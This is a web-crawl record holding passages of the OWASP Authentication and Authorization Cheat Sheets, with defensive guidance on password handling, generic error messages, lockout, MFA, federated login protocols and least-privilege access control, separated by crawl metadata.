Requirements](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x15-V6-Authentication.md#v62-password-security)\n- [Passwords Evolved: Authentication Guidance for the Modern Era](https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/)\n\n### Implement Secure Password Recovery Mechanism¶\n\nIt is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [Forgot Password Cheat Sheet](Forgot_Password_Cheat_Sheet.html) for details on this feature.\n\n### Store Passwords in a Secure Fashion¶\n\nIt is critical for an application to store a password using the right cryptographic technique. Please see [Password Storage Cheat Sheet](Password_Storage_Cheat_Sheet.html) for details on this feature.\n\n### Compare Password Hashes Using Safe Functions¶\n\nWhere possible, the user-supplied password should be compared to the stored password hash using a secure password comparison function provided by the language or framework, such as the [password_verify()](https://www.php.net/manual/en/function.password-verify.php) function in PHP. Where this is not possible, ensure that the comparison function:\n\n- Has a maximum input length, to protect against denial of service attacks with very long inputs.\n- Explicitly sets the type of both variables, to protect against type confusion attacks such as Magic Hashes in PHP.\n- Returns in constant time, to protect against timing attacks.\n\n### Change Password Feature¶\n\nWhen developing a change password feature, ensure to have:\n\n- The user is authenticated with an active session.\n- Current password verification. This is to ensure that it's the legitimate user who is changing the password. Consider this abuse case: a user logs in on a public computer and forgets to log out. Another person could then use that active session. If we don't verify the current password, this other person may be able to change the password.\n\n### Transmit Passwords Only Over TLS or Other Strong Transport¶\n\nSee: [Transport Layer Security Cheat Sheet](Transport_Layer_Security_Cheat_Sheet.html)\n\nThe login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.\n\n### Require Re-authentication for Sensitive Features¶\n\nIn order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password or email address -- or before sensitive transactions, such as shipping a purchase to a new address. Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials. Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.\n\n### Re-authentication After Risk Events¶\n\n**Overview:**\nRe-authentication is critical when an account has experienced high-risk activity such as account recovery, password resets, or suspicious behavior patterns. This section outlines when and how to trigger re-authentication to protect users and prevent unauthorized access. For further details, see the Require Re-authentication for Sensitive Features section.\n\n#### When to Trigger Re-authentication¶\n\n- **Suspicious Account Activity** When unusual login patterns, IP address changes, or device enrollments occur\n- **Account Recovery** After users reset their passwords or change sensitive account details\n- **Critical Actions** For high-risk actions like changing payment details or adding new trusted devices\n\n#### Re-authentication Mechanisms¶\n\n- **Adaptive Authentication** Use risk-based authentication models that adapt to the user's behavior and context\n- **Multi-Factor Authentication (MFA)** Require an additional layer of verification for sensitive actions or events\n- **Challenge-Based Verification** Prompt users to confirm their identity with a challenge question or secondary method\n\n#### Implementation Recommendations¶\n\n- **Minimize User Friction** Ensure that re-authentication does not disrupt the user experience unnecessarily\n- **Context-Aware Decisions** Make re-authentication decisions based on context (e.g., geolocation, device type, prior patterns)\n- **Secure Session Management** Invalidate sessions after re-authentication and rotate tokens—see the [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n\n#### References¶\n\n- [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n- OWASP ASVS – 2.2.2: Re-authentication requirements\n- NIST 800-63B: Digital Identity Guidelines – Authentication Assurance Levels\n\n### Consider Strong Transaction Authentication¶\n\nSome applications should use a second factor to check whether a user may perform sensitive operations. For more information, see the [Transaction Authorization Cheat Sheet](Transaction_Authorization_Cheat_Sheet.html).\n\n#### TLS Client Authentication¶\n\nTLS Client Authentication, also known as two-way TLS authentication, consists of both browser and server sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a verifiably-valid Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third-party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.\n\nThis approach is appropriate when:\n\n- It is acceptable (or even preferred) that the user has access to the website only from a single computer/browser.\n- The user is not easily scared by the process of installing TLS certificates on their browser, or there will be someone, probably from IT support, who will do this for the user.\n- The website requires an extra step of security.\n- It is also a good thing to use when the website is for an intranet of a company or organization.\n\nIt is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.\n\nAdditionally, if the client is behind an enterprise proxy that performs SSL/TLS decryption, this will break certificate authentication unless the site is allowed on the proxy.\n\nFor more information, see: [Client-authenticated TLS handshake](https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake)\n\n### Authentication and Error Messages¶\n\nIncorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.\n\n#### Authentication Responses¶\n\nUsing any of the authentication mechanisms (login, password reset, or password recovery), an application must respond with a generic error message regardless of whether:\n\n- The user ID or password was incorrect.\n- The account does not exist.\n- The account is locked or disabled.\n\nThe account registration feature should also be taken into consideration, and the same approach of a generic error message can be applied regarding the case in which the user exists.\n\nThe objective is to prevent the creation of a [discrepancy factor](https://cwe.mitre.org/data/definitions/204.html), allowing an attacker to mount a user enumeration action against the application.\n\nIt is interesting to note that the business logic itself can bring a discrepancy factor related to the processing time taken. Indeed, depending on the implementation, the processing time can be significantly different according to the case (success vs failure) allowing an attacker to mount a [time-based attack](https://en.wikipedia.org/wiki/Timing_attack) (delta of some seconds for example).\n\nExample using pseudo-code for a login feature:\n\n- First implementation using the \"quick exit\" approach\n\n```\nIF USER_EXISTS(username) THEN\n password_hash=HASH(password)\n IS_VALID=LOOKUP_CREDENTIALS_IN_STORE(username, password_hash)\n IF NOT IS_VALID THEN\n RETURN Error(\"Invalid Username or Password!\")\n ENDIF\nELSE\n RETURN Error(\"Invalid Username or Password!\")\nENDIF\n```\n\nIt can be clearly seen that if the user doesn't exist, the application will directly throw an error. Otherwise, when the user exists and the password doesn't, it is apparent that there will be more processing before the application errors out. In return, the response time will be different for the same error, allowing the attacker to differentiate between a wrong username and a wrong password.\n\n- Second implementation without relying on the \"quick exit\" approach:\n\n```\npassword_hash=HASH(password)\nIS_VALID=LOOKUP_CREDENTIALS_IN_STORE(username, password_hash)\nIF NOT IS_VALID THEN\n RETURN Error(\"Invalid Username or Password!\")\nENDIF\n```\n\nThis code will go through the same process no matter what the user or the password is, allowing the application to return in approximately the same response time.\n\nThe problem with returning a generic error message for the user is a User Experience (UX) matter. A legitimate user might feel confused with the generic messages, thus making it hard for them to use the application, and might after several retries, leave the application because of its complexity. The decision to return a *generic error message* can be determined based on the criticality of the application and its data. For example, for critical applications, the team can decide that under the failure scenario, a user will always be redirected to the support page and a *generic error message* will be returned.\n\nRegarding the user enumeration itself, protection against brute-force attacks is also effective because it prevents an attacker from applying the enumeration at scale. Usage of [CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA) can be applied to a feature for which a *generic error message* cannot be returned because the *user experience* must be preserved.\n\n##### Incorrect and correct response examples¶\n\nIncorrect response examples:\n\n- \"Login for User foo: invalid password.\"\n- \"Login failed, invalid user ID.\"\n- \"Login failed; account disabled.\"\n- \"Login failed; this user is not active.\"\n\nCorrect response example:\n\n- \"Login failed; Invalid user ID or password.\"\n\n###### Password recovery¶\n\nIncorrect response examples:\n\n- \"We just sent you a password reset link.\"\n- \"This email address doesn't exist in our database.\"\n\nCorrect response example:\n\n- \"If that email address is in our database, we will send you an email to reset your password.\"\n\n###### Account creation¶\n\nIncorrect response examples:\n\n- \"This user ID is already in use.\"\n- \"Welcome! You have signed up successfully.\"\n\nCorrect response example:\n\n- \"A link to activate your account has been emailed to the address provided.\"\n\n##### Error Codes and URLs¶\n\nThe application may return a different [HTTP Error code](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.\n\nError disclosure can also be used as a discrepancy factor, consult the [error handling cheat sheet](Error_Handling_Cheat_Sheet.html) regarding the global handling of different errors in an application.\n\n### Protect Against Automated Attacks¶\n\nThere are a number of different types of automated attacks that attackers can use to try and compromise user accounts. The most common types are listed below:\n\n| Attack Type | Description |\n| --- | --- |\n| Brute Force | Testing multiple passwords from a dictionary or other source against a single account. |\n| Credential Stuffing | Testing username/password pairs obtained from the breach of another site. |\n| Password Spraying | Testing a single weak password against a large number of different accounts. |\n\nDifferent protection mechanisms can be implemented to protect against these attacks. In many cases, these defenses do not provide complete protection, but when a number of them are implemented in a defense-in-depth approach, a reasonable level of protection can be achieved.\n\nThe following sections will focus primarily on preventing brute-force attacks, although these controls can also be effective against other types of attacks. For further guidance on defending against credential stuffing and password spraying, see the [Credential Stuffing Cheat Sheet](Credential_Stuffing_Prevention_Cheat_Sheet.html).\n\n#### Multi-Factor Authentication¶\n\nMulti-factor authentication (MFA) is by far the best defense against the majority of password-related attacks, including brute-force attacks, with analysis by Microsoft suggesting that it would have stopped [99.9% of account compromises](https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Your-Pa-word-doesn-t-matter/ba-p/731984). As such, it should be implemented wherever possible; however, depending on the audience of the application, it may not be practical or feasible to enforce the use of MFA.\n\nThe [Multifactor Authentication Cheat Sheet](Multifactor_Authentication_Cheat_Sheet.html) contains further guidance on implementing MFA.\n\nLogin Throttling is a security mechanism used to prevent an attacker from making too many attempts at guessing a password through normal interactive means, it includes the following controls:\n\n- Maximum number of attempts.\n\n##### Account Lockout¶\n\nThe most common protection against these attacks is to implement account lockout, which prevents any more login attempts for a period after a certain number of failed logins.\n\nThe counter of failed logins should be associated with the account itself, rather than the source IP address, in order to prevent an attacker from making login attempts from a large number of different IP addresses. There are a number of different factors that should be considered when implementing an account lockout policy in order to find a balance between security and usability:\n\n- The number of failed attempts before the account is locked out (lockout threshold).\n- The time period that these attempts must occur within (observation window).\n- How long the account is locked out for (lockout duration).\n\nRather than implementing a fixed lockout duration (e.g., ten minutes), some applications use an exponential lockout, where the lockout duration starts as a very short period (e.g., one second), but doubles after each failed login attempt.\n\n- Amount of time to delay after each account lockout (max 2-3, after that permanent account lockout).\n\nWhen designing an account lockout system, care must be taken to prevent it from being used to cause a denial of service by locking out other users' accounts. One way this could be performed is to allow the use of the forgotten password functionality to log in, even if the account is locked out.\n\n#### CAPTCHA¶\n\nThe use of an effective CAPTCHA can help to prevent automated login attempts against accounts. However, many CAPTCHA implementations have weaknesses that allow them to be solved using automated techniques or can be outsourced to services that can solve them. As such, the use of CAPTCHA should be viewed as a defense-in-depth control to make brute-force attacks more time-consuming and expensive, rather than as a preventative.\n\nIt may be more user-friendly to only require a CAPTCHA be solved after a small number of failed login attempts, rather than requiring it from the very first login.\n\n#### Security Questions and Memorable Words¶\n\nThe addition of a security question or memorable word can also help protect against automated attacks, especially when the user is asked to enter a number of randomly chosen characters from the word. It should be noted that this does **not** constitute multi-factor authentication, as both factors are the same (something you know). Furthermore, security questions are often weak and have predictable answers, so they must be carefully chosen. The [Choosing and Using Security Questions cheat sheet](Choosing_and_Using_Security_Questions_Cheat_Sheet.html) contains further guidance on this.\n\n## Logging and Monitoring¶\n\nEnable logging and monitoring of authentication functions to detect attacks/failures on a real-time basis\n\n- Ensure that all failures are logged and reviewed\n- Ensure that all password failures are logged and reviewed\n- Ensure that all account lockouts are logged and reviewed\n\n## Use of authentication protocols that require no password¶\n\nWhile authentication through a combination of username, password, and multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. Examples of this are third-party applications that desire to connect to the web application, either from a mobile device, another website, desktop, or other situations. When this happens, it is NOT considered safe to allow the third-party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.\n\n### OAuth 2.0 and 2.1¶\n\nOAuth is an **authorization** framework for delegated access to APIs. See also: [OAuth 2.0 Cheat Sheet](OAuth2_Cheat_Sheet.html).\n\n> **Note:** OAuth 2.1 is an active IETF Working Group draft that consolidates OAuth 2.0 and widely adopted best practices and is intended to replace RFC 6749/6750; guidance in this cheat sheet applies to both OAuth 2.0 and OAuth 2.1. Because Internet-Drafts are revisioned, use the [unversioned OAuth 2.1 Datatracker page](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/) for the current draft. See also [oauth.net/2.1](https://oauth.net/2.1/).\n\n### OpenID Connect (OIDC)¶\n\n**OpenID Connect 1.0 (OIDC)** is an identity layer **on top of OAuth**. It defines how a client (**relying party**) verifies the **end user's** identity using an **ID Token** (a signed JWT) and how to obtain user claims in an interoperable way. Use **OIDC for authentication/SSO**; use **OAuth for authorization** to APIs.\n\n#### OIDC implementation guidance¶\n\n- **Validate ID Tokens** on the relying party: issuer ( `iss` ), audience ( `aud` ), signature (per provider JWKs), expiration ( `exp` ).\n- Prefer **well-maintained libraries/SDKs** and provider discovery/JWKS endpoints.\n- Use the **UserInfo** endpoint when additional claims beyond the ID Token are required.\n\n> **Avoid confusion:** **OpenID 2.0 (\"OpenID\")** was a separate, legacy authentication protocol that has been **superseded by OpenID Connect** and is considered obsolete. New systems should not implement OpenID 2.0. References: [OpenID Foundation — obsolete OpenID 2.0 libraries](https://openid.net/developers/libraries-for-obsolete-specifications/), [OpenID 2.0 → OIDC migration](https://openid.net/specs/openid-connect-migration-1_0.html)\n\n### SAML¶\n\nSecurity Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0 since it is very feature-complete and provides strong security. Like OpenId, SAML uses identity providers, but unlike OpenId, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Furthermore, SAML isn't only initiated by a service provider; it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.\n\nWhile OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications because there are few OpenId identity providers which are considered enterprise-class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.\n\nIn the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.\n\n**See also: [SAML Security Cheat Sheet](SAML_Security_Cheat_Sheet.html)**\n\n### FIDO¶\n\nThe Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication: the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model.\n\nUAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras (face biometrics), microphones (voice biometrics), Trusted Execution Environments (TEEs), Secure Elements (SEs), and others. The protocol is designed to plug these device capabilities into a common authentication framework. UAF works with both native applications and web applications.\n\nU2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides **protection against phishing** by using the URL of the website to look up the stored authentication key.\n\n**FIDO2**: FIDO2 and WebAuthn, encompassing previous standards (UAF/U2F), form the foundation of modern **Passkeys** technology. Passkeys enable users to securely log in using local user verification (such as biometrics or device PINs), often with credential synchronization across devices.\n\n#### Hardware-backed Key Storage¶\n\nFor many authenticators, including common platform passkeys, the private key is generated and stored by the operating system's secure key manager. Depending on the platform and authenticator, keys may be protected using hardware-backed components such as the Trusted Platform Module (TPM) on Windows, Secure Enclave on Apple devices, or the Android Keystore/StrongBox on Android, or by other software-based mechanisms.\n\nIn typical implementations, the private key is intended to be non-exportable and bound to the authenticator, and the platform security module signs a server challenge using this key. However, some authenticators support credential synchronization or backup that may involve export or server-side storage, and not all implementations are hardware-backed. Relying parties should not assume that keys are hardware-backed and non-exportable unless this is verified (for example, via authenticator properties or attestation).\n\n## Password Managers¶\n\nPassword managers are programs, browser plugins, or web services that automate the management of a large quantity of different credentials. Most password managers have functionality to allow users to easily use them on websites, either:\n(a) by pasting the passwords into the login form\n-- or --\n(b) by simulating the user typing them in.\n\nWeb applications should not make the job of password managers more difficult than necessary by observing the following recommendations:\n\n- Use standard HTML forms for username and password input with appropriate `type` attributes.\n- Avoid plugin-based login pages (such as Flash or Silverlight).\n- Implement a reasonable maximum password length, at least 64 characters, as discussed in the Implement Proper Password Strength Controls section .\n- Allow any printable characters to be used in passwords.\n- Allow users to paste into the username, password, and MFA fields.\n- Allow users to navigate between the username and password field with a single press of the `Tab` key.\n\n## Changing A User's Registered Email Address¶\n\nUser email addresses often change. The following process is recommended to handle such situations in a system:\n\n*Note: The process is less stringent with [Multifactor Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html), as proof-of-identity is stronger than relying solely on a password.*\n\n### Recommended Process If the User HAS [Multifactor Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html) Enabled¶\n\n1. Confirm the validity of the user's authentication cookie/token. If not valid, display a login screen.\n2. Describe the process for changing the registered email address to the user.\n3. Ask the user to submit a proposed new email address, ensuring it complies with system rules.\n4. Request the use of [Multifactor Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html) for identity verification.\n5. Store the proposed new email address as a pending change.\n6. Create and store **two** time-limited nonces for (a) system administrators' notification, and (b) user confirmation.\n7. Send two email messages with links that include those nonces:\n - A **notification-only email message** to the current address, alerting the user to the impending change and providing a link to report unexpected activity.\n - A **confirmation-required email message** to the proposed new address, instructing the user to confirm the change and providing a link for unexpected situations.\n8. Handle responses from the links accordingly.\n\n### Recommended Process If the User DOES NOT HAVE Multifactor Authentication Enabled¶\n\n1. Confirm the validity of the user's authentication cookie/token. If not valid, display a login screen.\n2. Describe the process for changing the registered email address to the user.\n3. Ask the user to submit a proposed new email address, ensuring it complies with system rules.\n4. Request the user's current password for identity verification.\n5. Store the proposed new email address as a pending change.\n6. Create and store three time-limited nonces for system administrators' notification, user confirmation, and an additional step for password reliance.\n7. Send two email messages with links to those nonces:\n - A **confirmation-required email message** to the current address, instructing the user to confirm the change and providing a link for an unexpected situation.\n - A **separate confirmation-required email message** to the proposed new address, instructing the user to confirm the change and providing a link for unexpected situations.\n8. Handle responses from the links accordingly.\n\n### Notes on the Above Processes¶\n\n- It's worth noting that Google adopts a different approach with accounts secured only by a password -- [where the current email address receives a notification-only email](https://support.google.com/accounts/answer/55393?hl=en). This method carries risks and requires user vigilance.\n- Regular social engineering training is crucial. System administrators and help desk staff should be trained to follow the prescribed process and recognize and respond to social engineering attacks. Refer to [CISA's \"Avoiding Social Engineering and Phishing Attacks\"](https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks) for guidance.\n\n## Adaptive or Risk Based Authentication¶\n\nA feature of more advanced applications is the ability to require different authentication stages depending on various environmental and contextual attributes (including but not limited to, the sensitivity of the data for which access is being requested, time of day, user location, IP address, or device fingerprint).\n\nFor example, an application may require MFA for the first login from a particular device but not for subsequent logins from that device. Alternatively, a single sign-on solution may authenticate the user and allow them to remain logged in for a day but require a reauthentication if they try to access their profile page.\n\nAnother option is the opposite approach where an application allows low risk access with just something that identifies the device (e.g., a specific mobile device fingerprint, a persistent cookie and browser fingerprint, etc. from the previous IP address) and then gradually requires stronger authentication for more sensitive operations. An example might be to allow someone to trigger something to see their current bank balance, but not the account number or anything else. If they need to see transactions, then the application puts them through some base level authentication and if they want to do any money movement, then MFA is required.\n\nQuestions that should be considered when implementing a mechanism like this include:\n\n- Are the policies being put in place in line with any corporate policies and especially any regulatory policy?\n- Which user‑ or device‑attributes (IP, geolocation, device fingerprint, time‑of‑day, behavioral biometrics, etc.) will we monitor at session start?\n- Which of those signals need to be refreshed during an active session, and at what cadence?\n- How will we ensure each signal’s accuracy and handle missing or low‑confidence data?\n- What scoring model (weights, thresholds, ML, rule‑based, hybrid) will convert raw signals into a risk tier?\n- Where will the model run (edge, API gateway, central service), and what is our latency budget?\n- What action maps to each risk tier (allow, CAPTCHA, step‑up MFA, block, revoke session)?\n- What user‑facing messages and error codes will accompany each action?\n- At which exact code or platform layers will we invoke the risk engine (login controller, middleware, API gateway, service mesh)?\n- How do we propagate decisions consistently across web, mobile, and API clients?\n- How do we mutate, extend, or revoke tokens/cookies when a mid‑session risk check escalates?\n- How do we synchronize state across multiple concurrent devices or browser tabs?\n- What monitoring and alerting will be in place for potentially suspicious activity, including how the user is notified.", "znaku_textu": 37915, "slov": 5425, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:37", "sha256": "1300b155560da5c775eb757390d80957a947129dfa5d955ba9fad0f9e5dd9347", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://pages.nist.gov/800-63-4/sp800-63b.html", "https://www.acunetix.com/vulnerabilities/web/long-password-denial-of-service/", "https://pages.nist.gov/800-63-4/sp800-63b/passwords/", "https://attack.mitre.org/techniques/T1110/", "https://github.com/zxcvbn-ts/zxcvbn", "https://github.com/dropbox/zxcvbn?tab=readme-ov-file", "https://haveibeenpwned.com/Passwords", "https://haveibeenpwned.com/API/v3", "https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader?tab=readme-ov-file", "https://github.com/danielmiessler/SecLists/tree/master/Passwords", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x15-V6-Authentication.md", "https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/", "https://www.php.net/manual/en/function.password-verify.php", "https://en.wikipedia.org/wiki/Transport_Layer_Security", "https://cwe.mitre.org/data/definitions/204.html", "https://en.wikipedia.org/wiki/Timing_attack", "https://en.wikipedia.org/wiki/CAPTCHA", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Status", "https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Your-Pa-word-doesn-t-matter/ba-p/731984", "https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/", "https://oauth.net/2.1/", "https://openid.net/developers/libraries-for-obsolete-specifications/", "https://openid.net/specs/openid-connect-migration-1_0.html", "https://support.google.com/accounts/answer/55393?hl=en", "https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "titulek": "Authorization - OWASP Cheat Sheet Series", "h1": "Authorization Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Authorization Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Recommendations¶"}, {"uroven": 3, "text": "Enforce Least Privileges¶"}, {"uroven": 3, "text": "Deny by Default¶"}, {"uroven": 3, "text": "Validate the Permissions on Every Request¶"}, {"uroven": 3, "text": "Thoroughly Review the Authorization Logic of Chosen Tools and Technologies, Implementing Custom Logic if Necessary¶"}, {"uroven": 3, "text": "Prefer Attribute and Relationship Based Access Control over RBAC¶"}, {"uroven": 3, "text": "Ensure Lookup IDs are Not Accessible Even When Guessed or Cannot Be Tampered With¶"}, {"uroven": 3, "text": "Enforce Authorization Checks on Static Resources¶"}, {"uroven": 3, "text": "Verify that Authorization Checks are Performed in the Right Location¶"}, {"uroven": 3, "text": "Exit Safely when Authorization Checks Fail¶"}, {"uroven": 3, "text": "Implement Appropriate Logging¶"}, {"uroven": 3, "text": "Create Unit and Integration Test Cases for Authorization Logic¶"}, {"uroven": 2, "text": "References¶"}, {"uroven": 3, "text": "ABAC¶"}, {"uroven": 3, "text": "General¶"}, {"uroven": 3, "text": "Least Privilege¶"}, {"uroven": 3, "text": "RBAC¶"}, {"uroven": 3, "text": "ReBAC¶"}], "markdown": "# Authorization Cheat Sheet¶\n\n## Introduction¶\n\nAuthorization may be defined as \"the process of verifying that a requested action or service is approved for a specific entity\" ([NIST](https://csrc.nist.gov/glossary/term/authorization)). Authorization is distinct from authentication which is the process of verifying an entity's identity. When designing and developing a software solution, it is important to keep these distinctions in mind. A user who has been authenticated (perhaps by providing a username and password) is often not authorized to access every resource and perform every action that is technically possible through a system. For example, a web app may have both regular users and admins, with the admins being able to perform actions the average user is not privileged to perform, even though they have been authenticated. Additionally, authentication is not always required for accessing resources; an unauthenticated user may be authorized to access certain public resources, such as an image or login page, or even an entire web app.\n\nThe objective of this cheat sheet is to assist developers in implementing authorization logic that is robust, appropriate to the app's business context, maintainable, and scalable. The guidance provided in this cheat sheet should be applicable to all phases of the development lifecycle and flexible enough to meet the needs of diverse development environments.\n\nFlaws related to authorization logic are a notable concern for web apps. Broken Access Control was ranked as the most concerning web security vulnerability in [OWASP's 2021 Top 10](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) and asserted to have a \"High\" likelihood of exploit by [MITRE's CWE program](https://cwe.mitre.org/data/definitions/285.html). Furthermore, according to [Veracode's State of Software Vol. 10](https://www.veracode.com/sites/default/files/pdf/resources/sossreports/state-of-software-security-volume-10-veracode-report.pdf), Access Control was among the more common of OWASP's Top 10 risks to be involved in exploits and security incidents despite being among the least prevalent of those examined.\n\nThe potential impact resulting from exploitation of authorization flaws is highly variable, both in form and severity. Attackers may be able to read, create, modify, or delete resources that were meant to be protected (thus jeopardizing their confidentiality, integrity, and/or availability); however, the actual impact of such actions is necessarily linked to the criticality and sensitivity of the compromised resources. Thus, the business cost of a successfully exploited authorization flaw can range from very low to extremely high.\n\nBoth entirely unauthenticated outsiders and authenticated (but not necessarily authorized) users can take advantage of authorization weaknesses. Although honest mistakes or carelessness on the part of non-malicious entities may enable authorization bypasses, malicious intent is typically required for access control threats to be fully realized. Horizontal privilege elevation (i.e. being able to access another user's resources) is an especially common weakness that an authenticated user may be able to take advantage of. Faults related to authorization control can allow malicious insiders and outsiders alike to view, modify, or delete sensitive resources of all forms (databases records, static files, personally identifiable information (PII), etc.) or perform actions, such as creating a new account or initiating a costly order, that they should not be privileged to do. Furthermore, if logging related to access control is not properly set-up, such authorization violations may go undetected or at least remain unattributable to a particular individual or group.\n\n## Recommendations¶\n\n### Enforce Least Privileges¶\n\nAs a security concept, Least Privileges refers to the principle of assigning users only the minimum privileges necessary to complete their job. Although perhaps most commonly applied in system administration, this principle has relevance to the software developer as well. Least Privileges must be applied both horizontally and vertically. For example, even though both an accountant and sales representative may occupy the same level in an organization's hierarchy, both require access to different resources to perform their jobs. The accountant should likely not be granted access to a customer database and the sales representative should not be able to access payroll data. Similarly, the head of the sales department is likely to need more privileged access than their subordinates.\n\nFailure to enforce least privileges in an application can jeopardize the confidentiality of sensitive resources. Mitigation strategies are applied primarily during the Architecture and Design phase (see [CWE-272](https://cwe.mitre.org/data/definitions/272.html)); however, the principle must be addressed throughout the SDLC.\n\nConsider the following points and best practices:\n\n- During the design phase, ensure trust boundaries are defined. Enumerate the types of users that will be accessing the system, the resources exposed and the operations (such as read, write, update, etc) that might be performed on those resources. For every combination of user type and resource, determine what operations, if any, the user (based on role and/or other attributes) must be able to perform on that resource. For an ABAC system ensure all categories of attributes are considered. For example, a Sales Representative may need to access a customer database from the internal network during working hours, but not from home at midnight.\n- Create tests that validate that the permissions mapped out in the design phase are being correctly enforced.\n- After the app has been deployed, periodically review permissions in the system for \"privilege creep\"; that is, ensure the privileges of users in the current environment do not exceed those defined during the design phase (plus or minus any formally approved changes).\n- Remember, it is easier to grant users additional permissions rather than to take away some they previously enjoyed. Careful planning and implementation of Least Privileges early in the SDLC can help reduce the risk of needing to revoke permissions that are later deemed overly broad.\n\n### Deny by Default¶\n\nEven when no access control rules are explicitly matched, the application cannot remain neutral when an entity is requesting access to a particular resource. The application must always make a decision, whether implicitly or explicitly, to either deny or permit the requested access. Logic errors and other mistakes relating to access control may happen, especially when access requirements are complex; consequently, one should not rely entirely on explicitly defined rules for matching all possible requests. For security purposes an application should be configured to deny access by default.\n\nConsider the following points and best practices:\n\n- Adopt a \"deny-by-default\" mentality both during initial development and whenever new functionality or resources are exposed by the app. One should be able to explicitly justify why a specific permission was granted to a particular user or group rather than assuming access to be the default position.\n- Although some frameworks or libraries may themselves adopt a deny-by-default strategy, explicit configuration should be preferred over relying on framework or library defaults. The logic and defaults of third-party code may evolve over time, without the developer's full knowledge or understanding of the change's implications for a particular project.\n\n### Validate the Permissions on Every Request¶\n\nPermission should be validated correctly on every request, regardless of whether the request was initiated by an AJAX script, server-side, or any other source. The technology used to perform such checks should allow for global, application-wide configuration rather than needing to be applied individually to every method or class. Remember an attacker only needs to find one way in. Even if just a single access control check is \"missed\", the confidentiality and/or integrity of a resource can be jeopardized. Validating permissions correctly on just the majority of requests is insufficient. Specific technologies that can help developers in performing such consistent permission checks include the following:\n\n- [Java/Jakarta EE Filters](https://jakarta.ee/specifications/platform/8/apidocs/javax/servlet/Filter.html) including implementations in [Spring 